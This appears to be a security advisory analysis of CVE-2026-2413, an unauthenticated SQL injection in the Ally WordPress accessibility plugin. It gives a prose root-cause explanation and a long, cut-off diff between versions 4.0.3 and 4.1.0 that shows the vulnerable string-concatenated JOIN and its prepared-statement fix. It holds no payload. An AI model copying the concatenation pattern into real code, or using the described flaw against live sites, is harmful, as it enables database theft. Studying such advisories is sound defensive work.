Atomic Edge analysis of CVE-2026-2413:
The vulnerability resides in the `get_global_remediations()` method within the `Remediation_Entry` class (pojo-accessibility/modules/remediation/database/remediation-entry.php). The root cause is improper handling of user-supplied URL input in SQL JOIN clause construction. The method directly concatenates the `$url` variable into the SQL query string at line 215 without proper SQL escaping or prepared statement usage. While the plugin applies `esc_url_raw()` to the URL for URL safety, this function does not sanitize SQL metacharacters like single quotes or parentheses. This allows an attacker to inject arbitrary SQL syntax into the JOIN condition. The attack vector is unauthenticated HTTP requests that trigger the remediation module, which requires the plugin to be connected to an Elementor account. The vulnerable code path involves the remediation module processing page URLs, where the attacker-controlled URL parameter is passed to the vulnerable method. The patch replaces the direct concatenation with a prepared statement using `Remediation_Table::db()->prepare()`, properly binding the URL parameter as a string value. This ensures the user input is treated as data rather than executable SQL. Successful exploitation enables time-based blind SQL injection attacks, allowing extraction of sensitive database information including user credentials, plugin settings, and other WordPress data.

CVE-2026-2413: Ally – Web Accessibility & Usability <= 4.0.3 – Unauthenticated SQL Injection via URL Path (pojo-accessibility)
CVE-2026-2413
pojo-accessibility
4.0.3
4.1.0
Analysis Overview
Differential between vulnerable and patched code
--- a/pojo-accessibility/assets/build/admin.asset.php
+++ b/pojo-accessibility/assets/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '4aa0f17a0ea470f314fd');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '1658788116fcfb4b9142');
--- a/pojo-accessibility/assets/build/deactivation-ally.asset.php
+++ b/pojo-accessibility/assets/build/deactivation-ally.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dd68ef28d76fc44dbc04');
+<?php return array('dependencies' => array(), 'version' => 'f7ed263719ddea65a684');
--- a/pojo-accessibility/assets/build/remediation-module.asset.php
+++ b/pojo-accessibility/assets/build/remediation-module.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c8d5a7d08f93c70df17e');
+<?php return array('dependencies' => array(), 'version' => '231b7700c06b20991bab');
--- a/pojo-accessibility/assets/build/reviews.asset.php
+++ b/pojo-accessibility/assets/build/reviews.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-url'), 'version' => '1a0a65320d7dc27ef227');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-url'), 'version' => '355e5b14498c9cc11879');
--- a/pojo-accessibility/assets/build/scanner.asset.php
+++ b/pojo-accessibility/assets/build/scanner.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '62d506b627fe238f45b6');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '0fe392df1c5c8f792f36');
--- a/pojo-accessibility/classes/client/client-response.php
+++ b/pojo-accessibility/classes/client/client-response.php
@@ -0,0 +1,45 @@
+<?php
+
+namespace EA11yClassesClient;
+
+use Exception;
+use EA11yClassesExceptionsQuota_Exceeded_Error;
+use EA11yClassesExceptionsQuota_API_Error;
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit; // Exit if accessed directly.
+}
+
+class Client_Response {
+ private array $known_errors;
+ /**
+ * @var mixed
+ */
+ private $response;
+
+ /**
+ * @throws Quota_API_Error|Quota_Exceeded_Error|Exception
+ */
+ public function handle() {
+ if ( ! is_wp_error( $this->response ) ) {
+ return $this->response;
+ }
+
+ $message = $this->response->get_error_message();
+
+ if ( isset( $this->known_errors[ $message ] ) ) {
+ throw $this->known_errors[ $message ];
+ }
+
+ throw new Exception( $message );
+ }
+
+ public function __construct( $response ) {
+ $this->known_errors = [
+ "Quota Status Guard Request Failed!: plan.features.ai_credits Quota exceeded" => new Quota_Exceeded_Error(),
+ "Quota Api Request Failed!: Failed checking if allowed to use quota" => new Quota_API_Error(),
+ ];
+
+ $this->response = $response;
+ }
+}
--- a/pojo-accessibility/classes/exceptions/quota-api-error.php
+++ b/pojo-accessibility/classes/exceptions/quota-api-error.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace EA11yClassesExceptions;
+
+use Exception;
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit; // Exit if accessed directly.
+}
+
+class Quota_API_Error extends Exception {
+ protected $message = 'Quota API error';
+}
--- a/pojo-accessibility/classes/exceptions/quota-exceeded-error.php
+++ b/pojo-accessibility/classes/exceptions/quota-exceeded-error.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace EA11yClassesExceptions;
+
+use Exception;
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit; // Exit if accessed directly.
+}
+
+class Quota_Exceeded_Error extends Exception {
+ protected $message = 'Quota exceeded';
+}
--- a/pojo-accessibility/modules/remediation/components/remediation-runner.php
+++ b/pojo-accessibility/modules/remediation/components/remediation-runner.php
@@ -140,7 +140,22 @@
return false;
}
+ private function is_builders_view(): bool {
+ // Condition used instead of direct return for feature extend
+
+ // Beaver Builder
+ if ( isset( $_GET['fl_builder'] ) || isset( $_GET['fl_builder_ui'] ) ) {
+ return true;
+ }
+ return false;
+ }
+
private function should_run_remediation(): bool {
+ // Skip remediation for editors view
+ if ( $this->is_builders_view() ) {
+ return false;
+ }
+
// Skip remediation during template_redirect AJAX requests
if ( $this->is_template_redirect_ajax_request() ) {
return false;
--- a/pojo-accessibility/modules/remediation/database/remediation-entry.php
+++ b/pojo-accessibility/modules/remediation/database/remediation-entry.php
@@ -212,7 +212,11 @@
'operator' => '=',
],
];
- $join = "LEFT JOIN $excluded_table ON $remediation_table.id = $excluded_table.remediation_id AND $excluded_table.page_url = '$url'";
+ // Use prepare() to safely bind the URL; never concatenate user input into SQL.
+ $join = Remediation_Table::db()->prepare(
+ "LEFT JOIN $excluded_table ON $remediation_table.id = $excluded_table.remediation_id AND $excluded_table.page_url = %s",
+ $url
+ );
return Remediation_Table::select( "$remediation_table.*, COALESCE($excluded_table.active, $remediation_table.active) AS active_for_page", $global_where, null, null, $join );
}
--- a/pojo-accessibility/modules/scanner/rest/generate-alt-text.php
+++ b/pojo-accessibility/modules/scanner/rest/generate-alt-text.php
@@ -5,6 +5,9 @@
use EA11yModulesScannerClassesRoute_Base;
use EA11yModulesScannerClassesUtils;
use EA11yClassesUtils as Global_Utils;
+use EA11yClassesClientClient_Response;
+use EA11yClassesExceptionsQuota_Exceeded_Error;
+use EA11yClassesExceptionsQuota_API_Error;
use Throwable;
use WP_Error;
use WP_REST_Response;
@@ -49,21 +52,16 @@
$src = $image ?? Utils::create_tmp_file_from_png_base64( $svg );
- $result = Global_Utils::get_api_client()->make_request(
- 'POST',
- 'ai/image-alt',
- [],
- [],
- false,
- $src
- );
-
- if ( is_wp_error( $result ) ) {
- return $this->respond_error_json( [
- 'message' => 'Failed to generate Alt Text',
- 'code' => 'internal_server_error',
- ] );
- }
+ $result = ( new Client_Response(
+ Global_Utils::get_api_client()->make_request(
+ 'POST',
+ 'ai/image-alt',
+ [],
+ [],
+ false,
+ $src
+ )
+ ) )->handle();
return $this->respond_success_json( [
'message' => 'Alt text generated',
@@ -73,6 +71,16 @@
],
] );
+ } catch ( Quota_Exceeded_Error $e ) {
+ return $this->respond_error_json( [
+ 'message' => 'AI credits quota has been exceeded.',
+ 'code' => 'quota_exceeded',
+ ] );
+ } catch ( Quota_API_Error $e ) {
+ return $this->respond_error_json( [
+ 'message' => 'Quota API error. Try again after sometime.',
+ 'code' => 'quota_api_error',
+ ] );
} catch ( Throwable $t ) {
return $this->respond_error_json( [
'message' => $t->getMessage(),
--- a/pojo-accessibility/modules/settings/banners/onboarding-banner.php
+++ b/pojo-accessibility/modules/settings/banners/onboarding-banner.php
@@ -91,11 +91,6 @@
</div>
<style>
- html[dir="rtl"] #ea11y-app,
- html:not([dir="rtl"]) #ea11y-app {
- height: calc(100vh - 32px - 80px);
- }
-
.elementor-ea11y-banner {
overflow: hidden;
border-left-color: #2563EB;
@@ -177,7 +172,6 @@
document.addEventListener('DOMContentLoaded', function () {
const banner = document.querySelector('.elementor-ea11y-banner');
const button = document.querySelector('.elementor-ea11y-banner button');
- const pageRoot = document.querySelector('#ea11y-app');
const requestData = {
action: "<?php echo esc_js( self::POINTER_ACTION ); ?>",
@@ -196,10 +190,6 @@
data: requestData,
success: () => {
banner.remove();
-
- if (pageRoot) {
- pageRoot.style.height = 'calc(100vh - 32px)';
- }
},
error: (error) => console.error('Error:', error),
}
--- a/pojo-accessibility/modules/settings/classes/settings.php
+++ b/pojo-accessibility/modules/settings/classes/settings.php
@@ -18,6 +18,7 @@
public const PLAN_SCOPE = 'ea11y_plan_scope';
public const WIDGET_ICON_SETTINGS = 'ea11y_widget_icon_settings';
public const WIDGET_MENU_SETTINGS = 'ea11y_widget_menu_settings';
+ public const WIDGET_ACTIVATION = 'ea11y_widget_activation_settings';
public const SKIP_TO_CONTENT = 'ea11y_skip_to_content_settings';
public const ANALYTICS_SETTINGS = 'ea11y_analytics_enabled';
public const PLAN_DATA_REFRESH_TRANSIENT = 'ea11y_plan_data_refresh';
--- a/pojo-accessibility/modules/settings/module.php
+++ b/pojo-accessibility/modules/settings/module.php
@@ -149,6 +149,7 @@
'unfilteredUploads' => Svg::are_unfiltered_uploads_enabled(),
'homeUrl' => home_url(),
'isElementorOne' => self::is_elementor_one(),
+ 'widgetActivationSettings' => Settings::get( Settings::WIDGET_ACTIVATION ),
];
}
@@ -398,6 +399,10 @@
'anchor' => '#content',
];
+ $widget_activation = [
+ 'enabled' => true,
+ ];
+
switch ( $setting ) {
case 'widget_menu_settings':
return $widget_menu_settings;
@@ -405,6 +410,8 @@
return $widget_icon_settings;
case 'skip_to_content_settings':
return $skip_to_content_setting;
+ case 'widget_activation_settings':
+ return $widget_activation;
default:
return [];
}
@@ -427,6 +434,10 @@
if ( ! get_option( Settings::SKIP_TO_CONTENT ) ) {
update_option( Settings::SKIP_TO_CONTENT, self::get_default_settings( 'skip_to_content_settings' ) );
}
+
+ if ( ! get_option( Settings::WIDGET_ACTIVATION ) ) {
+ update_option( Settings::WIDGET_ACTIVATION, self::get_default_settings( 'widget_activation_settings' ) );
+ }
}
/**
@@ -497,6 +508,15 @@
],
],
],
+ 'widget_activation_settings' => [
+ 'type' => 'object',
+ 'show_in_rest' => [
+ 'schema' => [
+ 'type' => 'object',
+ 'additionalProperties' => true,
+ ],
+ ],
+ ],
'plan_data' => [
'type' => 'object',
'show_in_rest' => [
@@ -655,16 +675,6 @@
}
/**
- * Hide all admin notices on the settings page
- */
- public function hide_admin_notices() {
- if ( Utils::is_plugin_settings_page() ) {
- remove_all_actions( 'admin_notices' );
- remove_all_actions( 'all_admin_notices' );
- }
- }
-
- /**
* Module constructor.
*/
public function __construct() {
@@ -681,7 +691,6 @@
add_action( 'elementor_one/' . Config::APP_PREFIX . '_migration_run', [ $this, 'on_migration_run' ] );
add_action( 'current_screen', [ $this, 'check_plan_data' ] );
- add_action( 'admin_head', [ $this, 'hide_admin_notices' ] );
// Register notices
add_action( 'ea11y_register_notices', [ $this, 'register_notices' ] );
--- a/pojo-accessibility/modules/widget/module.php
+++ b/pojo-accessibility/modules/widget/module.php
@@ -21,6 +21,34 @@
}
/**
+ * Check if widget module is active
+ *
+ * @return bool
+ */
+ public static function is_active(): bool {
+ // Check parent (legacy mode check)
+ if ( ! parent::is_active() ) {
+ return false;
+ }
+
+ // Check if widget is enabled in settings (default to `true` for backward compatibility)
+ $widget_activation = get_option( Settings::WIDGET_ACTIVATION, [ 'enabled' => true ] );
+
+ // Handle array format (expected)
+ if ( is_array( $widget_activation ) ) {
+ return isset( $widget_activation['enabled'] ) ? (bool) $widget_activation['enabled'] : true;
+ }
+
+ // Backward compatibility: if old boolean format exists
+ if ( is_bool( $widget_activation ) ) {
+ return $widget_activation;
+ }
+
+ // Default to enabled
+ return true;
+ }
+
+ /**
* Enqueue scripts
*
* @return void
--- a/pojo-accessibility/pojo-accessibility.php
+++ b/pojo-accessibility/pojo-accessibility.php
@@ -5,7 +5,7 @@
* Description: Improve your website’s accessibility with ease. Customize capabilities such as text resizing, contrast modes, link highlights, and easily generate an accessibility statement to demonstrate your commitment to inclusivity.
* Author: Elementor.com
* Author URI: https://elementor.com/
- * Version: 4.0.3
+ * Version: 4.1.0
* Text Domain: pojo-accessibility
*/
@@ -15,7 +15,7 @@
// Legacy
define( 'POJO_A11Y_CUSTOMIZER_OPTIONS', 'pojo_a11y_customizer_options' );
-define( 'EA11Y_VERSION', '4.0.3' );
+define( 'EA11Y_VERSION', '4.1.0' );
define( 'EA11Y_MAIN_FILE', __FILE__ );
define( 'EA11Y_BASE', plugin_basename( EA11Y_MAIN_FILE ) );
define( 'EA11Y_PATH', plugin_dir_path( __FILE__ ) );
--- a/pojo-accessibility/vendor/autoload.php
+++ b/pojo-accessibility/vendor/autoload.php
@@ -19,4 +19,4 @@
require_once __DIR__ . '/composer/autoload_real.php';
-return ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230::getLoader();
+return ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc::getLoader();
--- a/pojo-accessibility/vendor/composer/autoload_psr4.php
+++ b/pojo-accessibility/vendor/composer/autoload_psr4.php
@@ -6,6 +6,5 @@
$baseDir = dirname($vendorDir);
return array(
- 'Firebase\JWT\' => array($vendorDir . '/firebase/php-jwt/src'),
'Elementor\WPNotificationsPackage\' => array($vendorDir . '/elementor/wp-notifications-package/src'),
);
--- a/pojo-accessibility/vendor/composer/autoload_real.php
+++ b/pojo-accessibility/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@
// autoload_real.php @generated by Composer
-class ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230
+class ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc
{
private static $loader;
@@ -22,18 +22,16 @@
return self::$loader;
}
- require __DIR__ . '/platform_check.php';
-
- spl_autoload_register(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'), true, true);
+ spl_autoload_register(array('ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc', 'loadClassLoader'), true, true);
self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
- spl_autoload_unregister(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'));
+ spl_autoload_unregister(array('ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc', 'loadClassLoader'));
require __DIR__ . '/autoload_static.php';
- call_user_func(ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::getInitializer($loader));
+ call_user_func(ComposerAutoloadComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::getInitializer($loader));
$loader->register(true);
- $filesToLoad = ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::$files;
+ $filesToLoad = ComposerAutoloadComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$files;
$requireFile = Closure::bind(static function ($fileIdentifier, $file) {
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/pojo-accessibility/vendor/composer/autoload_static.php
+++ b/pojo-accessibility/vendor/composer/autoload_static.php
@@ -4,17 +4,13 @@
namespace ComposerAutoload;
-class ComposerStaticInitef41055ec0a167b43a405426e1a63230
+class ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc
{
public static $files = array (
'9db71c6726821ac61284818089584d23' => __DIR__ . '/..' . '/elementor/wp-one-package/runner.php',
);
public static $prefixLengthsPsr4 = array (
- 'F' =>
- array (
- 'Firebase\JWT\' => 13,
- ),
'E' =>
array (
'Elementor\WPNotificationsPackage\' => 33,
@@ -22,10 +18,6 @@
);
public static $prefixDirsPsr4 = array (
- 'Firebase\JWT\' =>
- array (
- 0 => __DIR__ . '/..' . '/firebase/php-jwt/src',
- ),
'Elementor\WPNotificationsPackage\' =>
array (
0 => __DIR__ . '/..' . '/elementor/wp-notifications-package/src',
@@ -39,9 +31,9 @@
public static function getInitializer(ClassLoader $loader)
{
return Closure::bind(function () use ($loader) {
- $loader->prefixLengthsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixLengthsPsr4;
- $loader->prefixDirsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixDirsPsr4;
- $loader->classMap = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$classMap;
+ $loader->prefixLengthsPsr4 = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$prefixLengthsPsr4;
+ $loader->prefixDirsPsr4 = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$prefixDirsPsr4;
+ $loader->classMap = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$classMap;
}, null, ClassLoader::class);
}
--- a/pojo-accessibility/vendor/composer/installed.php
+++ b/pojo-accessibility/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'pojome/pojo-accessibility',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
+ 'reference' => '6f76a0f64d06be7eb8f3573afd928ada5dea1d43',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -20,27 +20,18 @@
'dev_requirement' => false,
),
'elementor/wp-one-package' => array(
- 'pretty_version' => '1.0.47',
- 'version' => '1.0.47.0',
- 'reference' => '79b558c889e20b2dfd7aaff33ddf902746a9aac8',
+ 'pretty_version' => '1.0.54',
+ 'version' => '1.0.54.0',
+ 'reference' => null,
'type' => 'library',
'install_path' => __DIR__ . '/../elementor/wp-one-package',
'aliases' => array(),
'dev_requirement' => false,
),
- 'firebase/php-jwt' => array(
- 'pretty_version' => 'v6.10.0',
- 'version' => '6.10.0.0',
- 'reference' => 'a49db6f0a5033aef5143295342f1c95521b075ff',
- 'type' => 'library',
- 'install_path' => __DIR__ . '/../firebase/php-jwt',
- 'aliases' => array(),
- 'dev_requirement' => false,
- ),
'pojome/pojo-accessibility' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
+ 'reference' => '6f76a0f64d06be7eb8f3573afd928ada5dea1d43',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/pojo-accessibility/vendor/composer/platform_check.php
+++ b/pojo-accessibility/vendor/composer/platform_check.php
@@ -1,25 +0,0 @@
-<?php
-
-// platform_check.php @generated by Composer
-
-$issues = array();
-
-if (!(PHP_VERSION_ID >= 70400)) {
- $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.';
-}
-
-if ($issues) {
- if (!headers_sent()) {
- header('HTTP/1.1 500 Internal Server Error');
- }
- if (!ini_get('display_errors')) {
- if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
- fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
- } elseif (!headers_sent()) {
- echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
- }
- }
- throw new RuntimeException(
- 'Composer detected issues in your platform: ' . implode(' ', $issues)
- );
-}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/editor.asset.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => 'b13f933a70b199e27474');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => '01069f38180e7c38f688');
--- a/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/welcome.asset.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/welcome.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => 'f863f8f23e2a3b3c1bef');
--- a/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
@@ -28,29 +28,26 @@
}
}
-if ( defined( 'WP_PLUGIN_DIR' ) ) {
- $pattern = '#^' . preg_quote( WP_PLUGIN_DIR, '#' ) . '/([^\/]+)#';
- $plugin_slug = preg_match( $pattern, __DIR__, $matches ) ? $matches[1] : null;
- if ( $plugin_slug ) {
- $wp_one_package_versions[ $plugin_slug ] = '1.0.47';
- }
+$pattern = '#/([^/]+)/vendor/elementor/#';
+if ( preg_match( $pattern, __DIR__, $matches ) ) {
+ $wp_one_package_versions[ $matches[1] ] = '1.0.54';
}
-if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_47' ) && function_exists( 'add_action' ) ) {
+if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_54' ) && function_exists( 'add_action' ) ) {
if ( ! class_exists( 'ElementorOneVersions', false ) ) {
require_once __DIR__ . '/src/Versions.php';
add_action( 'plugins_loaded', [ ElementorOneVersions::class, 'initialize_latest_version' ], -15, 0 );
}
- add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_47', -20, 0 );
+ add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_54', -20, 0 );
- function elementor_one_register_1_dot_0_dot_47() {
+ function elementor_one_register_1_dot_0_dot_54() {
$versions = ElementorOneVersions::instance();
- $versions->register( '1.0.47', 'elementor_one_initialize_1_dot_0_dot_47' );
+ $versions->register( '1.0.54', 'elementor_one_initialize_1_dot_0_dot_54' );
}
- function elementor_one_initialize_1_dot_0_dot_47() {
+ function elementor_one_initialize_1_dot_0_dot_54() {
// The Loader class will be autoloaded from the highest version source
ElementorOneLoader::init();
}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
@@ -73,32 +73,12 @@
}
/**
- * Welcome screen completed
- * @return bool
- */
- private function welcome_screen_completed(): bool {
- return (bool) get_option( Fields::SETTING_PREFIX . 'welcome_screen_completed' );
- }
-
- /**
* Enqueue app assets
* @param string $package_version
* @return void
*/
private function enqueue_app_assets( string $package_version ) {
- if ( ! $this->welcome_screen_completed() ) {
- // Load the asset file to get dependencies and version
- $asset_file = ELEMENTOR_ONE_ASSETS_PATH . 'welcome.asset.php';
- $asset = file_exists( $asset_file ) ? include $asset_file : [
- 'dependencies' => [],
- 'version' => $package_version,
- ];
-
- wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_ASSETS_URL . 'welcome.js', $asset['dependencies'], $asset['version'], true );
- wp_enqueue_style( 'elementor-one-admin', ELEMENTOR_ONE_ASSETS_URL . 'style-welcome.css', [], $package_version );
- } else {
- wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_CLIENT_APP_URL, [], $package_version, true );
- }
+ wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_CLIENT_APP_URL, [], $package_version, true );
}
/**
@@ -128,7 +108,8 @@
'elementorNewPostNonce' => wp_create_nonce( 'elementor_action_new_post' ),
'elementorSiteSettingsRedirectNonce' => wp_create_nonce( 'elementor_action_site_settings_redirect' ),
'elementorEditSiteNonce' => wp_create_nonce( 'elementor_action_edit_website' ),
- 'shareUsageData' => 'yes' === get_option( Onboarding::SETTING_SHARE_USAGE_DATA ),
+ 'manageSiteOverviewRedirectNonce' => wp_create_nonce( 'manage_site_overview_redirect' ),
+ 'shareUsageData' => 'yes' === Utils::get_one_connect()->data()->get_share_usage_data(),
'assetsUIRootUrl' => ELEMENTOR_ONE_UI_ASSETS_ROOT_URL,
] ) . ';'
);
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
@@ -2,7 +2,6 @@
namespace ElementorOneAdminComponents;
-use ElementorOneAdminHelpersUtils;
use ElementorOneConnectFacade;
if ( ! defined( 'ABSPATH' ) ) {
@@ -15,8 +14,6 @@
*/
class Onboarding {
- const SCOPE_SHARE_USAGE_DATA = 'share_usage_data';
- const SETTING_SHARE_USAGE_DATA = Fields::SETTING_PREFIX . 'share_usage_data';
const SETTING_ONBOARDING_COMPLETED = Fields::SETTING_PREFIX . 'onboarding_completed';
/**
@@ -42,12 +39,6 @@
* @return void
*/
public function on_connect( Facade $facade ): void {
- $jwt_payload = Utils::decode_jwt( $facade->data()->get_access_token() );
- if ( $jwt_payload ) {
- $share_usage_data = in_array( self::SCOPE_SHARE_USAGE_DATA, $jwt_payload['scp'] ?? [], true );
- update_option( self::SETTING_SHARE_USAGE_DATA, $share_usage_data ? 'yes' : 'no' );
- }
-
$option_updated = update_option( self::SETTING_ONBOARDING_COMPLETED, true );
if ( true === $option_updated ) {
wp_safe_redirect( $facade->utils()->get_admin_url() . '#/home/onboarding' );
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Helpers/Utils.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Helpers/Utils.php
@@ -142,12 +142,11 @@
/**
* Get authorize URL
- * @return array|null
+ * @return string
*/
- public static function get_authorize_url(): ?array {
+ public static function get_authorize_url(): ?string {
$facade = self::get_one_connect();
$client_id = $facade->data()->get_client_id();
- $is_new_client = empty( $client_id );
if ( ! $client_id ) {
try {
@@ -157,10 +156,7 @@
}
}
- return [
- 'authorize_url' => $facade->utils()->get_authorize_url( $client_id ),
- 'is_new_client' => $is_new_client,
- ];
+ return $facade->utils()->get_authorize_url( $client_id );
}
/**
@@ -185,4 +181,18 @@
return is_array( $decoded ) ? $decoded : null;
}
+
+ /**
+ * Check if JWT token is expired
+ * @param string $jwt
+ * @param int $buffer Buffer in seconds to account for clock skew
+ * @return bool
+ */
+ public static function is_jwt_expired( string $jwt, int $buffer = 30 ): bool {
+ $jwt_payload = self::decode_jwt( $jwt );
+ if ( $jwt_payload && isset( $jwt_payload['exp'] ) ) {
+ return ( time() + $buffer ) >= $jwt_payload['exp'];
+ }
+ return false;
+ }
}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
@@ -5,6 +5,7 @@
use ElementorOneAdminHelpersUtils;
use ElementorOneCommonSupportedPlugins;
use ElementorOneConnectClassesGrantTypes;
+use ElementorOneConnectFacade;
use ElementorOneLogger;
if ( ! defined( 'ABSPATH' ) ) {
@@ -23,6 +24,8 @@
const CONNECT_APP_LIBRARY = 'library';
const CONNECT_APP_ACTIVATE = 'activate';
+ const GET_CLIENT_ID_ENDPOINT = 'get_client_id';
+
const SITE_KEY_OPTION_NAME = 'elementor_connect_site_key';
const LICENSE_KEY_OPTION_NAME = 'elementor_pro_license_key';
const LICENSE_DATA_OPTION_NAME = '_elementor_pro_license_v2_data';
@@ -58,6 +61,10 @@
private function __construct() {
$this->logger = new Logger( self::class );
+ // Set tracker opt-in
+ add_action( 'elementor_one/elementor_one_connected', [ $this, 'set_tracker_opt_in' ] );
+ add_action( 'elementor_one/elementor_one_disconnected', [ $this, 'set_tracker_opt_in' ] );
+
// Filter additional connect info
add_filter( 'elementor/connect/additional-connect-info', [ $this, 'filter_additional_connect_info' ], 10, 2 );
}
@@ -115,7 +122,10 @@
throw new RuntimeException( 'Client ID is not set' );
}
- $current_user_id = get_current_user_id();
+ $owner_id = Utils::get_one_connect()->data()->get_owner_user_id();
+ if ( ! $owner_id ) {
+ throw new RuntimeException( 'Owner user ID is not set' );
+ }
try {
$response = Utils::get_api_client()->request(
@@ -124,7 +134,7 @@
'method' => 'POST',
'body' => wp_json_encode( [
'app' => $connect_type,
- 'local_id' => $current_user_id,
+ 'local_id' => $owner_id,
'site_key' => $this->get_site_key(),
'deactivate_license_key' => $deactivate_license
? self::get_active_license_key()
@@ -137,7 +147,7 @@
);
// Update common data user option
- update_user_option( $current_user_id, self::COMMON_DATA_USER_OPTION_NAME, (array) $response['connectData'] );
+ update_user_option( $owner_id, self::COMMON_DATA_USER_OPTION_NAME, (array) $response['connectData'] );
// Update license key if it exists
if ( isset( $response['licenseKey'] ) ) {
@@ -239,32 +249,90 @@
$is_activate_request = class_exists( 'ElementorProCoreConnectAppsActivate' )
&& $app instanceof ElementorProCoreConnectAppsActivate;
- if ( $is_activate_request && empty( $additional_info ) ) {
- [ 'authorize_url' => $authorize_url, 'is_new_client' => $is_new_client ] = Utils::get_authorize_url();
- if ( $authorize_url && $is_new_client ) {
- $additional_info['one_authorize_url'] = $authorize_url;
- }
- } elseif ( $is_ai_request ) {
- $facade = Utils::get_connect( SupportedPlugins::ELEMENTOR );
